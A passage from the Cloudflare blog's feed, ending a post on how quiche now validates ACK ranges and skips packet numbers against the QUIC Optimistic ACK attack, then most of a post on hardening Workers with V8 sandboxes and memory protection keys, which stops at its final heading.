          </figure><p><sup>New connection joining the shared network. Existing flows make room for the new flow.</sup></p><p>In order to ensure fairness and performance, each endpoint uses a <a href="http://blog.cloudflare.com/cubic-and-hystart-support-in-quiche/"><u>Congestion Control</u></a> algorithm. There are various algorithms but for our purposes let's consider <a href="https://www.rfc-editor.org/rfc/rfc9438.html"><u>Cubic</u></a>, a loss-based algorithm. Cubic, when in steady state, periodically explores higher sending rates. As the peer ACKs new packets, Cubic unlocks additional sending capacity (congestion window) to explore even higher send rates. Cubic continues to increase its send rate until it detects congestion signals (e.g., packet loss), indicating that the network is potentially at capacity and the connection should lower its sending rate.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5FvyfLs39CrWnHv8JjiJkd/d44cc31229e4dafa062d607c4214cba0/image6.png" />
          </figure><p><sup>Cubic congestion control responding to loss on the network.</sup></p>
    <div>
      <h3>The role of ACKs</h3>
      <a href="#the-role-of-acks">
        
      </a>
    </div>
    <p>ACKs are a feedback mechanism that Internet protocols use to make progress. A server serving a large file download will send that data across multiple packets to the client. Since networks are lossy, the client is responsible for ACKing when it has received a packet from the server, thus confirming delivery and progress. Lack of an ACK indicates that the packet has been lost and that the data might require retransmission. This feedback allows the server to confirm when the client has received all the data that it requested.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1LMkCz6BB4aUav8pVhM1Mb/30f94cdaa857a08af3b8c0b9bb24de91/Screenshot_2025-10-28_at_15.23.05.png" />
          </figure><p><sup>The server delivers packets and the client responds with ACKs.</sup></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3Sa33xjYHj52KZZTL4ITWv/d0347affc68318b36da988331c55fd6c/Screenshot_2025-10-28_at_15.23.38.png" />
          </figure><p><sup>The server delivers packets, but packet [2] is lost. The client responds with ACKs only for packets [1, 3], thereby signalling that packet [2] was lost.</sup></p><p>In QUIC, packet numbers don't have to be sequential; that means skipping packet numbers is natively supported. Additionally, a <a href="https://www.rfc-editor.org/rfc/rfc9000.html#name-ack-frames"><u>QUIC ACK Frame</u></a> can contain gaps and multiple ACK ranges. As we will see, the built-in support for skipping packet numbers is a unique feature of QUIC (over TCP) that will help us enforce ACK validation.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2azePr06Z0kGVQwdEaaqbx/5ab6844b4d515444393ab0b8ca33bf1d/Screenshot_2025-10-28_at_15.25.05.png" />
          </figure><p><sup>The server delivering packets, but skipping packet [4]. The client responds with ACKs only for packets it received, and not sending an ACK for packet [4].</sup></p><p>ACKs also provide signals that control an endpoint's send rate and help provide fairness and performance. Delay between ACKs, variations in the delay, and lack of ACKs provide valuable signals, which suggest a change in the network and are important inputs to a congestion control algorithm.</p>
    <div>
      <h3>Skipping packets to avoid ACK delay</h3>
      <a href="#skipping-packets-to-avoid-ack-delay">
        
      </a>
    </div>
    <p>QUIC allows endpoints to encode the ACK delay: the time by which the ACK for packet number 'X' was intentionally delayed from when the endpoint received packet number 'X.' This delay can result from normal packet processing or be an implementation-specific optimization. For example, since ACKs processing can be expensive (both for CPU and network), delaying ACKs can allow for batching and reducing the associated overhead.</p><blockquote><p>If the sender wants to elicit a faster acknowledgement on PTO, it can skip a packet number to eliminate the acknowledgement delay. -- <a href="https://www.rfc-editor.org/rfc/rfc9002.html#section-6.2.4">https://www.rfc-editor.org/rfc/rfc9002.html#section-6.2.4</a></p></blockquote><p>However, since a delay in ACK signal also delays peer feedback, this can be detrimental for loss recovery. QUIC endpoints can therefore signal the peer to avoid delaying an ACK packet by skipping a packet number. This detail will become important as we will see later in the post.</p>
    <div>
      <h3>Validating ACK range</h3>
      <a href="#validating-ack-range">
        
      </a>
    </div>
    <p>It is expected that a well-behaved client should only send ACKs for packets that it has received. A lack of validation meant that it was possible for the client to send a very large ACK range for packets never sent by the server. For example, assuming the server has sent packets 0-5, a client was able to send an ACK Frame with the range 0-100.</p><p>By itself this is not actually a huge deal since quiche is smart enough to drop larger ACKs and only process ACKs for packets it has sent. However, as we will see in the next section, this made the Optimistic ACK vulnerability easier to exploit.</p><p>The fix was to enforce ACK range validation based on the largest packets sent by the server and close the connection on violation. This matches the RFC recommendation.</p><blockquote><p>An endpoint SHOULD treat receipt of an acknowledgment for a packet it did not send as a connection error of type PROTOCOL_VIOLATION, if it is able to detect the condition. -- <a href="https://www.rfc-editor.org/rfc/rfc9000#section-13.1">https://www.rfc-editor.org/rfc/rfc9000#section-13.1</a></p></blockquote>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/aPajmSD1NWaWvFv2aXAhs/480054b6514f3a1ddad219e4e81388f5/Screenshot_2025-10-28_at_15.26.15.png" />
          </figure><p><sup>The server validating ACKs: the client sending ACK for packets [4..5] not sent by the server. The server closes the connection since ACK validation fails.</sup></p>
    <div>
      <h3>Optimistic ACK attack</h3>
      <a href="#optimistic-ack-attack">
        
      </a>
    </div>
    <p>In the following scenario, let’s assume the client is trying to mount an Optimistic ACK attack against the server. The goal of a client mounting the attack is to cause the server to send at a high rate. To achieve a high send rate, the client needs to deliver ACKs quickly back to the server, thereby providing an artificially low <a href="https://www.cloudflare.com/learning/cdn/glossary/round-trip-time-rtt/"><u>RTT</u></a> / high bandwidth signal. Since packet numbers are typically monotonically increasing, a clever client can predict the next packet number and preemptively send ACKs (artificial ACK).</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2xCY6yXFysB3yPxfa4TjOb/962a74feaf95e520abf037bd12e19db7/Screenshot_2025-10-28_at_15.28.39.png" />
          </figure><p><sup>Optimistic ACK attack: the client predicting packets sent by the server and preemptively sending ACKs. ACK validation does not help here.</sup></p><p>If the server has proper ACK validation, an invalid ACK for packets not yet sent by the server should trigger a connection close (without ACK range validation, the attack is trivial to execute). Therefore, a malicious client needs to be clever about pacing the artificial ACKs so they arrive just as the server has sent the packet. If the attack is done correctly, the server will see a very low RTT, and result in an inflated send rate.</p><blockquote><p>An endpoint that acknowledges packets it has not received might cause a congestion controller to permit sending at rates beyond what the network supports. An endpoint MAY skip packet numbers when sending packets to detect this behavior. An endpoint can then immediately close the connection with a connection error of type PROTOCOL_VIOLATION -- <a href="https://www.rfc-editor.org/rfc/rfc9000#section-21.4">https://www.rfc-editor.org/rfc/rfc9000#section-21.4</a></p></blockquote>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2fppvXzvdTOugNzCtxgiH5/897da7f980f1de95bdafa1aee423dcf2/Screenshot_2025-10-28_at_15.40.37.png" />
          </figure><p><sup>Preventing an Optimistic ACK attack: the client predicting packets sent by the server and preemptively sending ACKs. Since the server skipped packet [4], it is able to detect the invalid ACK and close the connection.</sup></p><p>The <a href="https://www.rfc-editor.org/rfc/rfc9000#section-21.4"><u>QUIC RFC</u></a> mentions the Optimistic ACK attack and suggests skipping packets to detect this attack. By skipping packets, the client is unable to easily predict the next packet number and risks connection close if the server implements invalid ACK range validation. Implementation details – like how many packet numbers to skip and how often – are missing, however.</p><p>The [malicious] client transmission pattern does not indicate any malicious behavior.</p><blockquote><p>As such, the bit rate towards the server follows normal behavior. Considering that QUIC packets are end-to-end encrypted, a middlebox cannot identify the attack by analyzing the client’s traffic. -- <a href="https://louisna.github.io/files/2025-anrw-oack.pdf">MAY is not enough! QUIC servers SHOULD skip packet numbers</a></p></blockquote><p>Ideally, the client would like to use as few resources as possible, while simultaneously causing the server to use as many as possible. In fact, as the security researchers confirmed in their paper: it is difficult to detect a malicious QUIC client using external traffic analysis, and it’s therefore necessary for QUIC implementations to mitigate the Optimistic ACK attack by skipping packets.</p><p>The Optimistic ACK vulnerability is not unique to QUIC. In fact the vulnerability was first discovered against TCP. However, since TCP does not natively support skipping packet numbers, an Optimistic ACK attack in TCP is harder to mitigate and can require additional DDoS analysis. By allowing for packet skipping, QUIC is able to prevent this type of attack at the protocol layer and more effectively ensure correctness and fairness over untrusted networks.</p>
    <div>
      <h3>How often to skip packet numbers</h3>
      <a href="#how-often-to-skip-packet-numbers">
        
      </a>
    </div>
    <p>According to the QUIC RFC, skipping packet numbers currently has two purposes. The first is to elicit a faster acknowledgement for loss recovery and the second is to mitigate an Optimistic ACK attack. A QUIC implementation skipping packets for Optimistic ACK attack therefore needs to skip frequently enough to mitigate the attack, while considering the effects on eliminating ACK delay.</p><p>Since packet skipping needs to be unpredictable, a simple implementation could be to skip packet numbers based on a random number from a static range. However, since the number of packets increases as the send rate increases, this has the downside of not adapting to the send rate. At smaller send rates, a static range will be too frequent, while at higher send rates it won't be frequent enough and therefore be less effective. It's also arguably most important to validate the send rate when there are higher send rates. It therefore seems necessary to adapt the skip frequency based on the send rate.</p><p>Congestion window (CWND) is a parameter used by congestion control algorithms to determine the amount of bytes that can be sent per round. Since the send rate increases based on the amount of bytes ACKed (capped by bytes sent), we claim that CWND makes a great proxy for dynamically adjusting the skip frequency. This CWND-aware skip frequency allows all connections, regardless of current send rate, to effectively mitigate the Optimistic ACK attack.</p>
            <pre><code>// c: the current packet number
// s: range of random packet number to skip from
//
// curr_pn
//  |
//  v                 |--- (upper - lower) ---|
// [c x x x x x x x x s s s s s s s s s s s s s x x]
//    |--min_skip---| |------skip_range-------|

const DEFAULT_INITIAL_CONGESTION_WINDOW_PACKETS: usize = 10;
const MIN_SKIP_COUNTER_VALUE: u64 = DEFAULT_INITIAL_CONGESTION_WINDOW_PACKETS * 2;

let packets_per_cwnd = (cwnd / max_datagram_size) as u64;
let lower = packets_per_cwnd / 2;
let upper = packets_per_cwnd * 2;

let skip_range = upper - lower;
let rand_skip_value = rand(skip_range);

let skip_pn = MIN_SKIP_COUNTER_VALUE + lower + rand_skip_value;</code></pre>
            <p><sup>Skip frequency calculation in quiche.</sup></p>
    <div>
      <h3>Timeline</h3>
      <a href="#timeline">
        
      </a>
    </div>
    <p>All timestamps are in UTC.</p><ul><li><p>2025–04-10 12:10 - Cloudflare is notified of an ACK validation and Optimistic ACK vulnerability via the Bug Bounty Program.</p></li><li><p>2025-04-19 00:20 – Cloudflare confirms both vulnerabilities are reproducible and begins working on fix.</p></li><li><p>2025-05-02 20:12 - Security patch is complete and infrastructure patching starts.</p></li><li><p>2025–05-16 04:52 - Cloudflare infrastructure patching is complete.</p></li><li><p>New quiche version released.</p></li></ul>
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>We would like to sincerely thank <a href="https://louisna.github.io/"><u>Louis Navarre</u></a> and <a href="https://perso.uclouvain.be/olivier.bonaventure/blog/html/pages/bio.html"><u>Olivier Bonaventure</u></a> from <a href="https://www.uclouvain.be/en"><u>UCLouvain</u></a>, who responsibly disclosed this issue via our <a href="https://www.cloudflare.com/en-gb/disclosure/"><u>Cloudflare Bug Bounty Program</u></a>, allowing us to identify and mitigate the vulnerability. They also published a <a href="https://louisna.github.io/publication/2025-anrw-oack"><u>paper</u></a> with their findings, notifying 10 other QUIC implementations that also suffered from the Optimistic ACK vulnerability. </p><p>We welcome further <a href="https://www.cloudflare.com/en-gb/disclosure/"><u>submissions</u></a> from our community of researchers to continually improve the security of all of our products and open source projects.</p> ]]></content:encoded>
            <category><![CDATA[Research]]></category>
            <category><![CDATA[QUIC]]></category>
            <category><![CDATA[Protocols]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">1vU4Xmgau85ysMJVxTEx09</guid>
            <dc:creator>Apoorv Kothari</dc:creator>
            <dc:creator>Louis Navarre (Guest author)</dc:creator>
        </item>
        <item>
            <title><![CDATA[Safe in the sandbox: security hardening for Cloudflare Workers]]></title>
            <link>https://blog.cloudflare.com/safe-in-the-sandbox-security-hardening-for-cloudflare-workers/</link>
            <pubDate>Thu, 25 Sep 2025 14:00:00 GMT</pubDate>
            <description><![CDATA[ We are further hardening Cloudflare Workers with the latest software and hardware features. We use defense-in-depth, including V8 sandboxes and the CPU's memory protection keys to keep your data safe. ]]></description>
            <content:encoded><![CDATA[ <p>As a <a href="https://www.cloudflare.com/learning/serverless/what-is-serverless/"><u>serverless</u></a> cloud provider, we run your code on our globally distributed infrastructure. Being able to run customer code on our network means that anyone can take advantage of our global presence and low latency. Workers isn’t just efficient though, we also make it simple for our users. In short: <a href="https://workers.cloudflare.com/"><u>You write code. We handle the rest</u></a>.</p><p>Part of 'handling the rest' is making Workers as secure as possible. We have previously written about our <a href="https://blog.cloudflare.com/mitigating-spectre-and-other-security-threats-the-cloudflare-workers-security-model/"><u>security architecture</u></a>. Making Workers secure is an interesting problem because the whole point of Workers is that we are running third party code on our hardware. This is one of the hardest security problems there is: any attacker has the full power available of a programming language running on the victim's system when they are crafting their attacks.</p><p>This is why we are constantly updating and improving the Workers Runtime to take advantage of the latest improvements in both hardware and software. This post shares some of the latest work we have been doing to keep Workers secure.</p><p>Some background first: <a href="https://www.cloudflare.com/developer-platform/products/workers/"><u>Workers</u></a> is built around the <a href="https://v8.dev/"><u>V8</u></a> JavaScript runtime, originally developed for Chromium-based browsers like Chrome. This gives us a head start, because V8 was forged in an adversarial environment, where it has always been under intense attack and <a href="https://github.blog/security/vulnerability-research/getting-rce-in-chrome-with-incorrect-side-effect-in-the-jit-compiler/"><u>scrutiny</u></a>. Like Workers, Chromium is built to run adversarial code safely. That's why V8 is constantly being tested against the best fuzzers and sanitizers, and over the years, it has been hardened with new technologies like <a href="https://v8.dev/blog/oilpan-library"><u>Oilpan/cppgc</u></a> and improved static analysis.</p><p>We use V8 in a slightly different way, though, so we will be describing in this post how we have been making some changes to V8 to improve security in our use case.</p>
    <div>
      <h2>Hardware-assisted security improvements from Memory Protection Keys</h2>
      <a href="#hardware-assisted-security-improvements-from-memory-protection-keys">
        
      </a>
    </div>
    <p>Modern CPUs from Intel, AMD, and ARM have support for <a href="https://man7.org/linux/man-pages/man7/pkeys.7.html"><u>memory protection keys</u></a>, sometimes called <i>PKU</i>, Protection Keys for Userspace. This is a great security feature which increases the power of virtual memory and memory protection.</p><p>Traditionally, the memory protection features of the CPU in your PC or phone were mainly used to protect the kernel and to protect different processes from each other. Within each process, all threads had access to the same memory. Memory protection keys allow us to prevent specific threads from accessing memory regions they shouldn't have access to.</p><p>V8 already <a href="https://issues.chromium.org/issues/41480375"><u>uses memory protection keys</u></a> for the <a href="https://en.wikipedia.org/wiki/Just-in-time_compilation"><u>JIT compilers</u></a>. The JIT compilers for a language like JavaScript generate optimized, specialized versions of your code as it runs. Typically, the compiler is running on its own thread, and needs to be able to write data to the code area in order to install its optimized code. However, the compiler thread doesn't need to be able to run this code. The regular execution thread, on the other hand, needs to be able to run, but not modify, the optimized code. Memory protection keys offer a way to give each thread the permissions it needs, but <a href="https://en.wikipedia.org/wiki/W%5EX"><u>no more</u></a>. And the V8 team in the Chromium project certainly aren't standing still. They describe some of their future plans for memory protection keys <a href="https://docs.google.com/document/d/1l3urJdk1M3JCLpT9HDvFQKOxuKxwINcXoYoFuKkfKcc/edit?tab=t.0#heading=h.gpz70vgxo7uc"><u>here</u></a>.</p><p>In Workers, we have some different requirements than Chromium. <a href="https://developers.cloudflare.com/workers/reference/security-model/"><u>The security architecture for Workers</u></a> uses V8 isolates to separate different scripts that are running on our servers. (In addition, we have <a href="https://blog.cloudflare.com/spectre-research-with-tu-graz/"><u>extra mitigations</u></a> to harden the system against <a href="https://en.wikipedia.org/wiki/Spectre_(security_vulnerability)"><u>Spectre</u></a> attacks). If V8 is working as intended, this should be enough, but we believe in <i>defense in depth</i>: multiple, overlapping layers of security controls.</p><p>That's why we have deployed internal modifications to V8 to use memory protection keys to isolate the isolates from each other. There are up to 15 different keys available on a modern x64 CPU and a few are used for other purposes in V8, so we have about 12 to work with. We give each isolate a random key which is used to protect its V8 <i>heap data</i>, the memory area containing the JavaScript objects a script creates as it runs. This means security bugs that might previously have allowed an attacker to read data from a different isolate would now hit a hardware trap in 92% of cases. (Assuming 12 keys, 92% is about 11/12.)</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4cHaaZrAhQf759og04S63G/59ff1974dc878ec8ad7d40f1f079be37/image9.png" />
          </figure><p>The illustration shows an attacker attempting to read from a different isolate. Most of the time this is detected by the mismatched memory protection key, which kills their script and notifies us, so we can investigate and remediate. The red arrow represents the case where the attacker got lucky by hitting an isolate with the same memory protection key, represented by the isolates having the same colors.</p><p>However, we can further improve on a 92% protection rate. In the last part of this blog post we'll explain how we can lift that to 100% for a particular common scenario. But first, let's look at a software hardening feature in V8 that we are taking advantage of.</p>
    <div>
      <h2>The V8 sandbox, a software-based security boundary</h2>
      <a href="#the-v8-sandbox-a-software-based-security-boundary">
        
      </a>
    </div>
    <p>Over the past few years, V8 has been gaining another defense in depth feature: the V8 sandbox. (Not to be confused with the <a href="https://blog.cloudflare.com/sandboxing-in-linux-with-zero-lines-of-code/"><u>layer 2 sandbox</u></a> which Workers have been using since the beginning.) The V8 sandbox has been a multi-year project that has been gaining <a href="https://v8.dev/blog/sandbox"><u>maturity</u></a> for a while. The sandbox project stems from the observation that many V8 security vulnerabilities start by corrupting objects in the V8 heap memory. Attackers then leverage this corruption to reach other parts of the process, giving them the opportunity to escalate and gain more access to the victim's browser, or even the entire system.</p><p>V8's sandbox project is an ambitious software security mitigation that aims to thwart that escalation: to make it impossible for the attacker to progress from a corruption on the V8 heap to a compromise of the rest of the process. This means, among other things, removing all pointers from the heap. But first, let's explain in as simple terms as possible, what a memory corruption attack is.</p>
    <div>
      <h3>Memory corruption attacks</h3>
      <a href="#memory-corruption-attacks">
        
      </a>
    </div>
    <p>A memory corruption attack tricks a program into misusing its own memory. Computer memory is just a store of integers, where each integer is stored in a location. The locations each have an <i>address</i>, which is also just a number. Programs interpret the data in these locations in different ways, such as text, pixels, or <i>pointers</i>. Pointers are addresses that identify a different memory location, so they act as a sort of arrow that points to some other piece of data.</p><p>Here's a concrete example, which uses a buffer overflow. This is a form of attack that was historically common and relatively simple to understand: Imagine a program has a small buffer (like a 16-character text field) followed immediately by an 8-byte pointer to some ordinary data. An attacker might send the program a 24-character string, causing a "buffer overflow." Because of a vulnerability in the program, the first 16 characters fill the intended buffer, but the remaining 8 characters spill over and overwrite the adjacent pointer.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5VlcKOYtfRHwWZVDb6GOPm/517ae1987c89273e1f33eb6ca11d752d/image5.png" />
          </figure><p><sup><i>See below for how such an attack would now be thwarted.</i></sup></p><p>Now the pointer has been redirected to point at sensitive data of the attacker's choosing, rather than the normal data it was originally meant to access. When the program tries to use what it believes is its normal pointer, it's actually accessing sensitive data chosen by the attacker.</p><p>This type of attack works in steps: first create a small confusion (like the buffer overflow), then use that confusion to create bigger problems, eventually gaining access to data or capabilities the attacker shouldn't have.  The attacker can eventually use the misdirection to either steal information or plant malicious data that the program will treat as legitimate.</p><p>This was a somewhat abstract description of memory corruption attacks using a buffer overflow, one of the simpler techniques. For some much more detailed and recent examples, see <a href="https://googleprojectzero.blogspot.com/2015/06/what-is-good-memory-corruption.html"><u>this description from Google</u></a>, or this <a href="https://medium.com/@INTfinitySG/miscellaneous-series-2-a-script-kiddie-diary-in-v8-exploit-research-part-1-5b0bab211f5a"><u>breakdown of a V8 vulnerability</u></a>.</p>
    <div>
      <h3>Compressed pointers in V8</h3>
      <a href="#compressed-pointers-in-v8">
        
      </a>
    </div>
    <p>Many attacks are based on corrupting pointers, so ideally we would remove all pointers from the memory of the program.  Since an object-oriented language's heap is absolutely full of pointers, that would seem, on its face, to be a hopeless task, but it is enabled by an earlier development. Starting in 2020, V8 has offered the option of saving memory by using <a href="https://v8.dev/blog/pointer-compression"><u>compressed pointers</u></a>. This means that, on a 64-bit system, the heap uses only 32 bit offsets, relative to a base address. This limits the total heap to maximally 4 GiB, a limitation that is acceptable for a browser, and also fine for individual scripts running in a V8 isolate on Cloudflare Workers.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/sO5ByQzR62UcxZiaxwcaq/2f2f0c04af57bb492e9ecaa321935112/image1.png" />
          </figure><p><sup><i>An artificial object with various fields, showing how the layout differs in a compressed vs. an uncompressed heap. The boxes are 64 bits wide.</i></sup></p><p>If the whole of the heap is in a single 4 GiB area then the first 32 bits of all pointers will be the same, and we don't need to store them in every pointer field in every object. In the diagram we can see that the object pointers all start with 0x12345678, which is therefore redundant and doesn't need to be stored. This means that object pointer fields and integer fields can be reduced from 64 to 32 bits.</p><p>We still need 64 bit fields for some fields like double precision floats and for the sandbox offsets of buffers, which are typically used by the script for input and output data. See below for details.</p><p>Integers in an uncompressed heap are stored in the high 32 bits of a 64 bit field. In the compressed heap, the top 31 bits of a 32 bit field are used. In both cases the lowest bit is set to 0 to indicate integers (as opposed to pointers or offsets).</p><p>Conceptually, we have two methods for compressing and decompressing, using a base address that is divisible by 4 GiB:</p>
            <pre><code>// Decompress a 32 bit offset to a 64 bit pointer by adding a base address.
void* Decompress(uint32_t offset) { return base + offset; }
// Compress a 64 bit pointer to a 32 bit offset by discarding the high bits.
uint32_t Compress(void* pointer) { return (intptr_t)pointer &amp; 0xffffffff; }</code></pre>
            <p>This pointer compression feature, originally primarily designed to save memory, can be used as the basis of a sandbox.</p>
    <div>
      <h3>From compressed pointers to the sandbox</h3>
      <a href="#from-compressed-pointers-to-the-sandbox">
        
      </a>
    </div>
    <p>The biggest 32-bit unsigned integer is about 4 billion, so the <code>Decompress()</code> function cannot generate any pointer that is outside the range [base, base + 4 GiB]. You could say the pointers are trapped in this area, so it is sometimes called the <i>pointer cage</i>. V8 can reserve 4 GiB of virtual address space for the pointer cage so that only V8 objects appear in this range. By eliminating <i>all</i> pointers from this range, and following some other strict rules, V8 can contain any memory corruption by an attacker to this cage. Even if an attacker corrupts a 32 bit offset within the cage, it is still only a 32 bit offset and can only be used to create new pointers that are still trapped within the pointer cage.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3r5H81eDvHgaPIBFw5gG6B/65ffa220f9141a81af893183a09321ac/image7.png" />
          </figure><p><sup><i>The buffer overflow attack from earlier no longer works because only the attacker's own data is available in the pointer cage.</i></sup></p><p>To construct the sandbox, we take the 4 GiB pointer cage and add another 4 GiB for buffers and other data structures to make the 8 GiB sandbox. This is why the buffer offsets above are 33 bits, so they can reach buffers in the second half of the sandbox (40 bits in Chromium with larger sandboxes). V8 stores these buffer offsets in the high 33 bits and shifts down by 31 bits before use, in case an attacker corrupted the low bits.</p><p>Cloudflare Workers have made use of compressed pointers in V8 for a while, but for us to get the full power of the sandbox we had to make some changes. Until recently, all isolates in a process had to be one single sandbox if you were using the sandboxed configuration of V8. This would have limited the total size of all V8 heaps to be less than 4 GiB, far too little for our architecture, which relies on serving 1000s of scripts at once.</p><p>That's why we commissioned <a href="https://www.igalia.com/"><u>Igalia</u></a> to add<a href="https://dbezhetskov.dev/multi-sandboxes/"><u> isolate groups</u></a> to V8. Each isolate group has its own sandbox and can have 1 or more isolates within it. Building on this change we have been able to start using the sandbox, eliminating a whole class of potential security issues in one stroke. Although we can place multiple isolates in the same sandbox, we are currently only putting a single isolate in each sandbox.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3jwaGI8xIAC6755vw2BWfE/d8b0cd5b36dbe8b5e628c62ef7f3d474/image2.png" />
          </figure><p><sup><i>The layout of the sandbox. In the sandbox there can be more than one isolate, but all their heap pages must be in the pointer cage: the first 4 GiB of the sandbox. Instead of pointers between the objects, we use 32 bit offsets. The offsets for the buffers are 33 bits, so they can reach the whole sandbox, but not outside it.</i></sup></p>
    <div>
      <h2>Virtual memory isn't infinite, there's a lot going on in a Linux process</h2>
      <a href="#virtual-memory-isnt-infinite-theres-a-lot-going-on-in-a-linux-process">
        
      </a>
    </div>
    <p>At this point, we were not quite done, though. Each sandbox reserves 8 GiB of space in the virtual memory map of the process, and it must be 4 GiB aligned <a href="https://v8.dev/blog/pointer-compression"><u>for efficiency</u></a>. It uses much less physical memory, but the sandbox mechanism requires this much virtual space for its security properties. This presents us with a problem, since a Linux process 'only' has 128 TiB of virtual address space in a 4-level page table (another 128 TiB are reserved for the kernel, not available to user space).</p><p>At Cloudflare, we want to run Workers as efficiently as possible to keep costs and prices down, and to offer a generous free tier. That means that on each machine we have so many isolates running (one per sandbox) that it becomes hard to place them all in a 128 TiB space.</p><p>Knowing this, we have to place the sandboxes carefully in memory. Unfortunately, the Linux syscall, <a href="https://man7.org/linux/man-pages/man2/mmap.2.html"><u>mmap</u></a>, does not allow us to specify the alignment of an allocation unless you can guess a free location to request. To get an 8 GiB area that is 4 GiB aligned, we have to ask for 12 GiB, then find the aligned 8 GiB area that must exist within that, and return the unused (hatched) edges to the OS:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7Dqey3y5ZsPugD3pyRpQUY/cdadceeb96dbb01a2062dc98c7c554bc/image6.png" />
          </figure><p>If we allow the Linux kernel to place sandboxes randomly, we end up with a layout like this with gaps. Especially after running for a while, there can be both 8 GiB and 4 GiB gaps between sandboxes:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6oaIPZnjaJrLYoFK6v03oI/6c53895f1151d70f71511d8cdfa35f00/image3.png" />
          </figure><p>Sadly, because of our 12 GiB alignment trick, we can't even make use of the 8 GiB gaps. If we ask the OS for 12 GiB, it will never give us a gap like the 8 GiB gap between the green and blue sandboxes above. In addition, there are a host of other things going on in the virtual address space of a Linux process: the malloc implementation may want to grab pages at particular addresses, the executable and libraries are mapped at a random location by ASLR, and V8 has allocations outside the sandbox.</p><p>The latest generation of x64 CPUs supports a much bigger address space, which solves both problems, and Linux kernels are able to make use of the extra bits with <a href="https://en.wikipedia.org/wiki/Intel_5-level_paging"><u>five level page tables</u></a>. A process has to <a href="https://lwn.net/Articles/717293/"><u>opt into this</u></a>, which is done by a single mmap call suggesting an address outside the 47 bit area. The reason this needs an opt-in is that some programs can't cope with such high addresses. Curiously, V8 is one of them.</p><p>This isn't hard to fix in V8, but not all of our fleet has been upgraded yet to have the necessary hardware. So for now, we need a solution that works with the existing hardware. We have modified V8 to be able to grab huge memory areas and then use <a href="https://man7.org/linux/man-pages/man2/mprotect.2.html"><u>mprotect syscalls</u></a> to create tightly packed 8 GiB spaces for sandboxes, bypassing the inflexible mmap API.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7kPgAWxoR7nDsZHUOBsNMp/15e7b2a1aac827acfce8b0d614e44cde/image8.png" />
          </figure>
    <div>
      <h2>Putting it all together</h2>
      <a href="#putting-it-all-together">
        
      </a>
    </div>
    <p>Taking control of the sandbox placement like this actually gives us a security benefit, but first we need to describe a particular threat model.</p><p>We assume for the purposes of this threat model that an attacker has an arbitrary way to corrupt data within the sandbox. This is historically the first step in many V8 exploits. So much so that there is a <a href="https://bughunters.google.com/about/rules/chrome-friends/5745167867576320/chrome-vulnerability-reward-program-rules#v8-sandbox-bypass-rewards"><u>special tier</u></a> in Google's V8 bug bounty program where you may <i>assume</i> you have this ability to corrupt memory, and they will pay out if you can leverage that to a more serious exploit.</p><p>However, we assume that the attacker does not have the ability to execute arbitrary machine code. If they did, they could <a href="https://www.usenix.org/system/files/sec20fall_connor_prepub.pdf"><u>disable memory protection keys</u></a>. Having access to the in-sandbox memory only gives the attacker access to their own data. So the attacker must attempt to escalate, by corrupting data inside the sandbox to access data outside the sandbox.</p><p>You will recall that the compressed, sandboxed V8 heap only contains 32 bit offsets. Therefore, no corruption there can reach outside the pointer cage. But there are also arrays in the sandbox — vectors of data with a given size that can be accessed with an index. In our threat model, the attacker can modify the sizes recorded for those arrays and the indexes used to access elements in the arrays. That means an attacker could potentially turn an array in the sandbox into a tool for accessing memory incorrectly. For this reason, the V8 sandbox normally has <i>guard regions</i> around it: These are 32 GiB virtual address ranges that have no virtual-to-physical address mappings. This helps guard against the worst case scenario: Indexing an array where the elements are 8 bytes in size (e.g. an array of double precision floats) using a maximal 32 bit index. Such an access could reach a distance of up to 32 GiB outside the sandbox: 8 times the maximal 32 bit index of four billion.</p><p>We want such accesses to trigger an alarm, rather than letting an attacker access nearby memory.  This happens automatically with guard regions, but we don't have space for conventional 32 GiB guard regions around every sandbox.</p><p>Instead of using conventional guard regions, we can make use of memory protection keys. By carefully controlling which isolate group uses which key, we can ensure that no sandbox within 32 GiB has the same protection key. Essentially, the sandboxes are acting as each other's guard regions, protected by memory protection keys. Now we only need a wasted 32 GiB guard region at the start and end of the huge packed sandbox areas.
</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/53MPs8P84ayqEiTXh7gV5O/88104f74f1d51dbdda8d987e1c7df3aa/image10.png" />
          </figure><p>With the new sandbox layout, we use strictly rotating memory protection keys. Because we are not using randomly chosen memory protection keys, for this threat model the 92% problem described above disappears. Any in-sandbox security issue is unable to reach a sandbox with the same memory protection key. In the diagram, we show that there is no memory within 32 GiB of a given sandbox that has the same memory protection key. Any attempt to access memory within 32 GiB of a sandbox will trigger an alarm, just like it would with unmapped guard regions.</p>
    <div>
      <h2>The future</h2>
      <a href="#the-future">
        
      </a>
    </div>
